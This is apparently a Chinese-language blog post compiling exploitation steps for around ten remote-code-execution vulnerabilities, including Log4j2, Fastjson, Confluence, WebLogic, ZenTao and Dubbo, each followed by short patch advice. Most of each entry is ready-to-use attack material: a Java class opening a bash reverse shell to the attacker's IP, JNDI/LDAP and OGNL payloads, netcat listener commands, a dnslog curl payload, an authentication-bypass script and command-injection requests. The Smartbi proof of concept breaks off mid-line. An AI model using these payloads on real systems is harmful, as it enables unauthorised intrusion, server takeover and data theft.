废话不多说,直接开始进入正题
Apache Log4j2 远程代码执行漏洞
Apache Log4j2 是一个开源的 Java 日志框架,被广泛地应用在中间件、开发框架与 Web 应用中。 Apache Log4j2 存在远程代码执行漏洞,该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 漏洞标签:影响范围广、利用链成熟、历史重大漏洞、接触核心资产概率大 漏洞编号:CVE-2021-44228 漏洞类型:RCE 受影响版本:
- Apache Log4j2 2.x <= 2.14.1
- Apache Log4j2 2.15.0-rc1
利用方法
编辑恶意类,内容如下
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/你的ip地址/9897 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
执行指令
javac Exploit.java
python启用http服务,部署恶意类
python3 -m http.server 8080
marshalsec 开启 LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://http服务地址:端口/#Exploit" 9999
接收shell的服务器 开启监听
nc -lvvp 9897
在目标服务执行payload
${jndi:ldap://LDAP服务地址:LADP服务端口/Exploit}
修复建议
目前,Apache 官方已发布新版本完成漏洞修复,建议及时升级至 2.15.0-rc2 以上版本:https://github.com/apache/logging-log4j2/tags 建议同时采用如下临时措施进行漏洞防范:
- 添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true
- 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;
- JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
- 部署使用第三方防火墙产品进行安全防护。
Fastjson 远程代码执行漏洞
Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列 化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞,攻击者可 以在特定依赖下利用此漏洞绕过默认 autoType 关闭限制,从而反序列化有安全 风险的类。 漏洞标签:国产框架、利用链成熟、打点常见、服务器权限相关 漏洞编号:CVE-2022-25845 漏洞类型:RCE 受影响版本:
- Fastjson ≤ 1.2.80
利用方法
利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加
com.alibaba
fastjson
1.2.82
创建文件夹 com.example.fastjson,在下面添加两个 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行 PocDemo
修复建议
1、升级至版本 FastJson 1.2.83: https://github.com/alibaba/fastjson/releases/tag/1.2.83 2、升级到 FastJosn v2: https://github.com/alibaba/fastjson2/releases
Atlassian Confluence 远程代码执行漏洞
远程攻击者在未经身份验证的情况下,可构造 OGNL 表达式进行注入,实现在 Confluence Server 或 Data Center 上执行任意代码。 漏洞标签:利用链成熟、历史重大漏洞、服务器权限相关 漏洞编号:CVE-2022-26134 漏洞类型:RCE 受影响版本:
- Confluence Server / Data Center 1.3.0 < 7.4.17
- Confluence Server / Data Center 7.13.0 < 7.13.7
- Confluence Server / Data Center 7.14.0 < 7.14.3
- Confluence Server / Data Center 7.15.0 < 7.15.2
- Confluence Server / Data Center 7.16.0 < 7.16.4
- Confluence Server / Data Center 7.17.0 < 7.17.4
- Confluence Server / Data Center 7.18.0 < 7.18.1
利用方法:
POC数据包
GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: XX.XX.XX.XX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close
github利用脚本: https://github.com/Nwqda/CVE-2022-26134
修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,参考官方升级 说明,酌情升级至安全版本:
- Confluence Server / Data Center >= 7.4.17
- Confluence Server / Data Center >= 7.13.7
- Confluence Server / Data Center >= 7.14.3
- Confluence Server / Data Center >= 7.15.2
- Confluence Server / Data Center >= 7.16.4
- Confluence Server / Data Center >= 7.17.4
- Confluence Server / Data Center >= 7.18.1
Apache Commons Text 远程代码执行漏洞
当使用 Apache Commons Text 中的字符串替换功能时,一些可用的插值器可以触发网络访问或代码执行。如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理,则攻击者将允许攻击者触发这些插值器。 漏洞标签:供应链风险、历史重大漏洞、利用链成熟、服务器权限相关 漏洞编号:CVE-2022-42889 漏洞类型:RCE 受影响版本:
- 1.5.0 ≤ Apache Commons Text < 1.10.0
利用方法:
payload
search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
可以尝试
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
Apache Airflow 远程代码执行漏洞
Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。当攻击者可访问到 Apache Airflow 的后台 UI,且环境中存在默认 dag 时,可构造恶意请求借助 run_id 执行任意命令。 漏洞标签:历史重大漏洞、利用链成熟、服务器权限相关 漏洞编号:CVE-2022-40127 漏洞类型:RCE 受影响版本:
- Airflow < 2.4.0
利用方法:
payload
{"lab":"\";curl `uname`.****.dnslog.pw;\""}
修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
ThinkPHP 命令执行漏洞
该漏洞是由于 Thinkphp 开启了多语言功能,并且对参数 lang 传参过滤不严谨,导致攻击者可利用该漏洞执行命令。 漏洞标签:国产框架、服务器权限相关、打点常见 漏洞编号:CNVD-2022-86535 漏洞类型:RCE 受影响版本:
- ThinkPHP ThinkPHP >=V6.0.1,<=V6.0.13
- ThinkPHP ThinkPHP >=V5.0.X,<=V5.1.X
利用方法:
payload
/index?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php
修复建议
如不需要多语言功能,请及时关闭此功能,可参考官方文档: https://www.kancloud.cn/manual/thinkphp6_0/1037637 https://static.kancloud.cn/manual/thinkphp5/118132 官方已发布漏洞补丁及修复版本,可以评估业务是否受影响后,酌情升级至安全版本
WebLogic 远程代码执行漏洞
由于 Weblogic T3/IIOP 协议支持远程对象通过 bind 方法绑定到服务端,并且可以通过 lookup 方法查看,当远程对象继承自 OpaqueReference 类,使用 lookup 方法查看远程对象时,服务端会调用远程对象的 getReferent 方法。weblogic.deployment.jms.ForeignOpaqueReference 继承自OpaqueReference 类,同时实现了getReferent 方法,并且存在 retVal = context.lookup(this.remoteJNDIName)实现,故可以通过 rmi/ldap 远程协议进行远程命令执行。 漏洞标签:利用链成熟、服务器权限相关、打点常见、供应链风险 漏洞编号:CVE-2023-21839 漏洞类型:RCE
受影响版本:
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
利用方法:
检测工具 https://github.com/4ra1n/CVE-2023-21839 使用官方提供的工具需要使用go语言编译
cd cmd
go build -o CVE-2023-21839.exe
CVE-2023-21839.exe -ip 目标IP -port 目标端口 -ldap DSNlog地址
回显验证,可反弹shell 需要使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务 https://github.com/WhiteHSBG/JNDIExploit
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器ip
nc -lvvp 端口
java -jar Weblogic-CVE-2023-21839.jar IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口
修复建议
如不依赖 T3 协议进行通信,可通过阻断 T3 协议和关闭 IIOP 协议端口防止 漏洞攻击,方法如下:1. 禁用 T3 协议:进入 Weblogic 控制台,在 base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器,然后在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s。2. 关闭 IIOP 协议端口:在 WebLogic 控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用 IIOP”的勾选,并重启 WebLogic项目,使配置生效。官方已发布漏洞补丁及修复版本,可以评估业务是否受影响后,酌情升级至安全版本。
禅道项目管理系统远程命令执行漏洞
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执⾏命令的⽅式,攻击者可利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器。 漏洞标签:国产OA、国产框架、服务器权限相关、打点常见、利用链成熟 漏洞编号:CNVD-2023-02709 漏洞类型:RCE 受影响版本:
- 杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4,<=18.0.beta1(开源版)
- 杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4,<=8.0.beta1(企业版)
- 杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4,<=4.0.beta1(旗舰版)
利用方法:
权限绕过poc
import requests
header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}
def bypasscookie(url,session):
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
r=session.get(target,headers=header)
zentaosid=r.cookies.get_dict()['zentaosid']
print(zentaosid)
header["Cookie"]="zentaosid="+zentaosid
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
print("绕过登陆验证")
else:
print("无法绕过验证")
if __name__ == '__main__':
url="http://127.0.0.1:8081/shandao/www/"
session=requests.Session()
bypasscookie(url,session)
后台RCE: 先创建Gitlab代码库,拿到repoID
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
创建好后,去到 http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
修复建议
1、进行官方升级: 具体升级方法:https://www.zentao.net/book/zentaoprohelp/41.html 2、安全产品升级: 部分厂商安全产品具备识别该漏洞功能,进行版本升级至最新版。 3、临时防护措施: 可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。
Smartbi 远程命令执行漏洞
Smartbi 大数据分析平台存在远程命令执行漏洞,未经身份认证的远程攻击 者可利用 stub 接口构造请求绕过补丁限制,进而控制 JDBC URL,最终可导致远 程代码执行或信息泄露。 漏洞标签:国产OA、服务器权限相关、打点常见、利用链成熟 漏洞编号:无 漏洞类型:RCE 受影响版本:
- v7 <= Smartbi <= v10.5.8
利用方法:
poc
POST /smartbi/vision/RMIServlet?windowUnloading=&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%
修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://www.smartbi.com.cn/patchinfo
Apache Dubbo 反序列化远程代码执行漏洞**
由于 Dubbo 泛型调用中存在反序列化漏洞,未经身份验证的攻击者可以通过构造特殊的请求利用此漏洞,造成远程代码执行,从而获取远程服务器的权限。 漏洞标签:服务器权限相关、利用链成熟 漏洞编号:CVE-2023-23638 漏洞类型:RCE 受影响版本:
- 2.7.0 <= Apache Dubbo <= 2.7.21
- 3.0.0 <= Apache Dubbo <= 3.0.13
- 1.0 <= Apache Dubbo <= 3.1.5
利用方法:
poc
public class GenericCallConsumer {
private static GenericService genericService;
public static void main(String[] args) throws Exception {
invokeSayHello1();
invokeSayHello2();
}
public static void setGenericService(boolean haveNJ){
ApplicationConfig applicationConfig = new ApplicationConfig();
applicationConfig.setName("generic-call-consumer");
RegistryConfig registryConfig = new RegistryConfig();
registryConfig.setAddress("zookeeper://127.0.0.1:2181");
ReferenceConfigreferenceConfig = new ReferenceConfig<>();
referenceConfig.setInterface("org.apache.dubbo.samples.generic.call.api.HelloService");
applicationConfig.setRegistry(registryConfig);
referenceConfig.setApplication(applicationConfig);
referenceConfig.setGeneric(true);
referenceConfig.setAsync(true);
referenceConfig.setTimeout(7000);
if(haveNJ){
//dubbo 3.x 下面配置生效
referenceConfig.setGeneric("nativejava");
}
genericService = referenceConfig.get();
}
/* //payload1
public static void invokeSayHello1() throws Exception {
setGenericService(false);
RpcContext.getContext().setAttachment("generic", "bean");
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", String.valueOf(true));
JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor();
javaBeanDescriptor.setClassName("org.apache.dubbo.common.utils.ConfigUtils");
javaBeanDescriptor.setProperty("properties",properties);
setFieldValue(javaBeanDescriptor,"type",7);
Object result = genericService.$invoke("sayHello", new String[]{"org.apache.dubbo.common.beanutil.JavaBeanDescriptor"}, new Object[]{javaBeanDescriptor});
CountDownLatch latch = new CountDownLatch(1);
CompletableFuturefuture = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});
System.err.println("invokeSayHello(return): " + result);
latch.await();
}*/
//payload1 ConfigUtils.setProperties
/*
public static void invokeSayHello1() throws Exception {
setGenericService(false);
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", "true");
HashMap pojoMap = new HashMap();
pojoMap.put("class","org.apache.dubbo.common.utils.ConfigUtils");
pojoMap.put("properties", PojoUtils.generalize(properties));
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{pojoMap});
CountDownLatch latch = new CountDownLatch(1);
CompletableFuturefuture = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});
System.err.println("invokeSayHello(return): " + result);
latch.await();
}
*/
//payload1 System.setProperties
public static void invokeSayHello1() throws Exception {
setGenericService(false);
Properties properties = System.getProperties();
properties.put("dubbo.security.serialize.generic.native-java-enable", "true");
HashMap pojoMap = new HashMap();
pojoMap.put("class","java.lang.System");
pojoMap.put("properties", PojoUtils.generalize(properties));
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{pojoMap});
CountDownLatch latch = new CountDownLatch(1);
CompletableFuturefuture = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});
System.err.println("invokeSayHello(return): " + result);
latch.await();
}
//payload2
public static void invokeSayHello2() throws Exception {
setGenericService(true);
//dubbo 2.x 下面配置生效
RpcContext.getContext().setAttachment("generic", "nativejava");
byte[] payload = getBytesByFile("CC2.ser");
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{payload});
CountDownLatch latch = new CountDownLatch(1);
CompletableFuturefuture = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});
System.err.println("invokeSayHello(return): " + result);
latch.await();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
工具 https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/
修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级 至安全版本,建议您在升级前做好数据备份工作,避免出现意外。 https://github.com/apache/dubbo/releases 1.限制用户输入,过滤恶意数据,可以减少攻击者利用反序列化漏洞的可能性。 2.配置黑白名单,限制可序列化的类集合。 3.使用 Java 的安全管理器(SecurityManager)来限制反序列化操作的 权限,例如限制访问文件系统、网络等操作。
Comments NOTHING